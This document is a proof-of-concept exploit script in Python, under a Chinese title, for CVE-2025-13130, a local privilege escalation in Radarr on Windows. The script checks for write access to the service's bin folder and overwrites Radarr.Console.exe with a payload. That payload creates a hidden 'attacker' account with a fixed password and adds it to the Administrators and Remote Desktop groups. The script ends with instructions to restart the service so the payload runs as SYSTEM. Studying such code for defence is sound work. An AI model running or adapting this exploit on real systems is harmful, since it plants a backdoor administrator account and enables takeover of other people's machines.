CVE-2025-13130 Radarr服务默认权限配置错误导致本地权限提升漏洞

#!/usr/bin/env python3 """ CVE-2025-13130 PoC - Radarr Service Privilege Escalation Target: Radarr 5.28.0.10274 on Windows Type: Insecure Default Permissions leading to Local Privilege Escalation """ import os import sys import shutil import subprocess def check_vulnerability(): """ Check if Radarr service executable has insecure permissions """ radarr_path = r"C:\ProgramData\Radarr\bin\Radarr.Console.exe" if not os.path.exists(radarr_path): print(f"[-] Radarr not found at {radarr_path}") return False # Check if current user has write permissions try: # Attempt to create a test file in the bin directory test_file = os.path.join(os.path.dirname(radarr_path), "test_write.tmp") with open(test_file, 'w') as f: f.write("test") os.remove(test_file) print("[+] VULNERABLE: Current user has write access to Radarr bin directory") return True except PermissionError: print("[-] NOT VULNERABLE: Write access denied") return False except Exception as e: print(f"[-] Error checking permissions: {e}") return False def exploit(): """ Exploit the vulnerability by replacing the service executable WARNING: This is for educational purposes only """ radarr_path = r"C:\ProgramData\Radarr\bin\Radarr.Console.exe" backup_path = radarr_path + ".bak" print("[*] Creating backup of original executable...") try: shutil.copy2(radarr_path, backup_path) except Exception as e: print(f"[-] Failed to create backup: {e}") return False print("[*] Replacing Radarr.Console.exe with malicious payload...") # In a real attack, this would be a malicious executable # For demonstration, we create a simple batch script that creates a new admin user malicious_payload = '''@echo off net user attacker P@ssw0rd123! /add net localgroup administrators attacker /add net localgroup "Remote Desktop Users" attacker /add ''' try: with open(radarr_path, 'w') as f: f.write(malicious_payload) print("[+] Malicious payload written successfully") print("[*] Waiting for service restart to execute payload...") print("[*] Run: sc query Radarr to check service status") print("[*] Run: net stop Radarr && net start Radarr to trigger exploitation") return True except Exception as e: print(f"[-] Failed to write payload: {e}") # Restore backup shutil.copy2(backup_path, radarr_path) return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-13130 Radarr Privilege Escalation PoC") print("=" * 60) if sys.platform != "win32": print("[-] This exploit only works on Windows systems") sys.exit(1) if not check_vulnerability(): print("\n[-] Target is not vulnerable") sys.exit(0) print("\n[*] Target appears vulnerable. Manual exploitation steps:") print("1. Replace Radarr.Console.exe with your payload") print("2. Restart the Radarr service (requires some privilege)") print("3. Payload executes with SYSTEM privileges")